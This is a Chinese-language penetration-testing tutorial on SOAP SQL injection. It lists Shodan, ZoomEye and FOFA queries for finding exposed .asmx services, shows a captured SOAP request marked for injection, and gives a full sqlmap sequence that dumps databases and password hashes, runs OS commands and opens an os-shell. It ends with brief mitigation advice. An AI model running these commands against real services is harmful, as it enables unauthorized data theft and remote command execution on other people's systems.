原文链接:使用sqlmap进行soap注入
目前越来越多的网站使用soap服务来进行通信,如果在其程序中未进行很好的过滤及安全处理,本文主要对soap sql注入漏洞进行介绍,并通过sqlmap对其进行soap注入漏洞的实际测试。soap注入漏洞在sqlmap下得测试跟具体的数据库类型有关,匹配其类型进行注入即可。 3.3.1soap简介 在2000年5月,UserLand、Ariba、Commerce One、Compaq、Developmentor、HP、IBM、IONA、Lotus、Microsoft以及SAP向W3C提交了SOAP因特网协议,这些公司期望此协议能够通过使用因特网标准(HTTP以及XML)把图形用户界面桌面应用程序连接到强大的因特网服务器,以此来彻底变革应用程序的开发。首个关于SOAP的公共工作草案由W3C在2001年12月发布。 SOAP 是微软.net架构的关键元素,用于未来的因特网应用程序开发。SOAP是基于 XML的简易协议,可使应用程序在HTTP之上进行信息交换。或者更简单地说SOAP是用于访问网络服务的协议。SOAP提供了一种标准的方法,使得运行在不同的操作系统并使用不同的技术和编程语言的应用程序可以互相进行通信,SOAP也也大量应用于手机app与服务器通信和数据传输中 对于应用程序开发来说,使程序之间进行因特网通信是很重要的。目前的应用程序通过使用远程过程调用(RPC)在诸如DCOM与CORBA等对象之间进行通信,但是HTTP不是为此设计的。RPC会产生兼容性以及安全问题;防火墙和代理服务器通常会阻止此类流量。通过HTTP在应用程序间通信是更好的方法,因为HTTP得到了所有的因特网浏览器及服务器的支持,SOAP就是被创造出来完成这个任务的。 3.3.2soap注入漏洞 1. soap注入漏洞 用户提交的数据直接插入到SOAP消息中,攻击者可以破坏消息的结构,从而实现SOAP注入。SOAP请求容易受到SQL注入攻击,通过修改提交参数,其sql查询可以泄露敏感信息,通过wvs可以对SOAP服务进行漏洞扫描,保存存在注入漏洞的头和内容文件,可以通过sqlmap进行注入渗透测试,其攻击原理跟普通注入测试类似。soap除了SQL注入漏洞外,还有可能存在命令注入,可以在其参数中直接执行命令。 2. soap扩展wsdl服务漏洞测试工具 Wsdler( https://portswigger.net/bappstore/594a49bb233748f2bc80a9eb18a2e08f),目前版本2.0.12,其github下载地址https://github.com/NetSPI/Wsdler,它可以配合burpsuite对wsdl服务进行枚举、暴力破解以及注入漏洞等测试,其运行命令为: java -classpath Wsdler.jar;burp.jar burp.StartBurp 有关Wsdler 测试的详细情况,可以参考文章《使用Burp攻击Web Services》http://www.freebuf.com/articles/web/7592.html 3. soapui安全漏洞扫描工具 soapui是一款针对soap安全漏洞的扫描工具,其官方网站https://www.soapui.org/,支持SQL注入、XPath注入、边界扫描、无效的类型、XML格式错误、XML炸弹、恶意附件、跨站脚本和自定义脚本扫描,其扫描效果如图1所示。 图1 soapui漏洞扫描器 4.曾经出现过的一些soap注入 (1)新浪微博某处SOAP接口外部实体注入 https://www.secpulse.com/archives/49857.html (2)多个D-Link产品UPnP SOAP接口多个命令注入漏洞http://www.venustech.com.cn/NewsInfo/124/21688.Html 3.3.3soap注入漏洞扫描 1.利用漏洞搜索引擎大范围搜索 (1)zoomeye搜索 http://www.zoomeye.org/search?q=asmx%20country%3A%22CN%22&p=6&t=host (2)shadon搜索 需要登录后才能进行搜索,搜索关键字为“asmx country:"CN"”,如图2所示,其链接地址为:https://www.shodan.io/search?query=asmx+country%3A%22CN%22,对其中的搜索记录可以查看,如图3所示,打开后即可看到很多服务信息的描述。 图2shodan搜索asm服务 图3访问asmx服务 (3)fofa.so搜索 在fofa.so网站搜索关键字“asmx && country=CN”,出来有1281条记录,其链接地址 https://fofa.so/result?q=asmx+%26%26+country%3DCN&qbase64=YXNteCAmJiBjb3VudHJ5PUNO。 2.扫描wdsl服务漏洞 打开wvs扫描器,在其中选择Web Services进行web服务扫描,注意扫描地址中的地址是asmx?wsdl,如图4所示,扫描结束后可以看到其漏洞警告信息为SQL盲注。 图4使用WVS扫描WSDL漏洞 3.保存抓包文件 在扫描器中,选中存在漏洞的地址,在WVS最右边窗口,选择http Editor,打开http编辑器,如图5所示,然后选择Text Only,将其中的所有内容复制出来保存为soap.txt文件。 图5保存soap包文件 3.3.4使用sqlmap进行soap注入实战 1.通过burpsuite进行抓包 通过burpsuite进行抓包或者wvs服务扫描,将发现漏洞的地址数据包保存,一般存在漏洞的地方会有*号,其内容类似: POST /MicroMall.asmx HTTP/1.1 Content-Type: text/xml SOAPAction: "http://microsoft.com/webservices/getNDEndZRPV" Content-Length: 564 X-Requested-With: XMLHttpRequest Host: www. somesite.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */* <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="http://microsoft.com/webservices/"> <SOAP-ENV:Header/> <SOAP-ENV:Body> <urn:getNDEndZRPV> <urn:number>-1* -- </urn:number> </urn:getNDEndZRPV> </SOAP-ENV:Body> </SOAP-ENV:Envelope> 2.使用sqlmap进行测试 (1)测试注入点是否存在 sqlmap.py -r soap.txt --batch 测试时如果未加“--batch“参数,则需要在注入过程中根据情况输入参数,如图6所示,测试结束后,会显示存在漏洞playload,数据库版本,操作系统版本等信息。 图6soap sql注入测试 (2)获取当前数据库 sqlmap.py -r soap.txt --batch --current-db 这行上面命令后,会获取当前数据库k****,如图7所示,也可以使用--dbs枚举所有当前用户下的所有数据库。 图7获取当前数据库名称 (3)获取当前数据库用户 sqlmap.py -r soap.txt --batch --current-user (4)获取当前用户是否是dba sqlmap.py -r soap.txt --batch --is-dba (5)查看当前的所有用户 sqlmap.py -r soap.txt --batch --users (6)查看当前密码需要sa权限 sqlmap.py -r soap.txt --batch --passwords (7)枚举数据库 sqlmap.py -r soap.txt --batch --dbs (8)获取数据库k*******中的所有表 sqlmap.py -r soap.txt --batch -D k***** –tables 注意“k*****”在实际测试过程中为获取的数据库名称,如图8所示,可以获取该数据库下所有的表名称。 (9)获取某个表的数据 sqlmap.py -r soap.txt --batch -D k******* –t dbo.manage (10)导出数据 sqlmap.py -r soap.txt --batch -D k******* –dump-all (11)执行目录查看命令 sqlmap.py -r soap.txt --batch --os-cmd=dir (12)sql server命令shell sqlmap.py -r soap.txt --batch --os-shell 3.3.5soap注入漏洞防范方法及渗透总结 1. soap注入漏洞 可以通过白名单和字符过滤方式来防范,对可能导致sql注入的危险符号和语句进行过滤,在用户提交的数据被插入SOAP消息的实施边界进行过滤 2.webservice XML实体注入漏洞解决方案 目标存在webservice XML实体注入漏洞。XML是可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。 (1) 关闭XML解解析函数的外部实体。 (2) 过滤用户输入的非法字符,如“<>” “%” “+”等。 3.soap sql注入sqlmap运行命令 sqlmap.py -r soap.txt --batch 加--batch自动判断参数并填写,提高注入效率。 参考文章: http://www.w3school.com.cn/soap/soap_intro.asp https://www.anquanke.com/post/id/85410 http://blog.securelayer7.net/owasp-top-10-penetration-testing-soap-application-mitigation/ https://blog.csdn.net/qq_25446311/article/details/78432334
|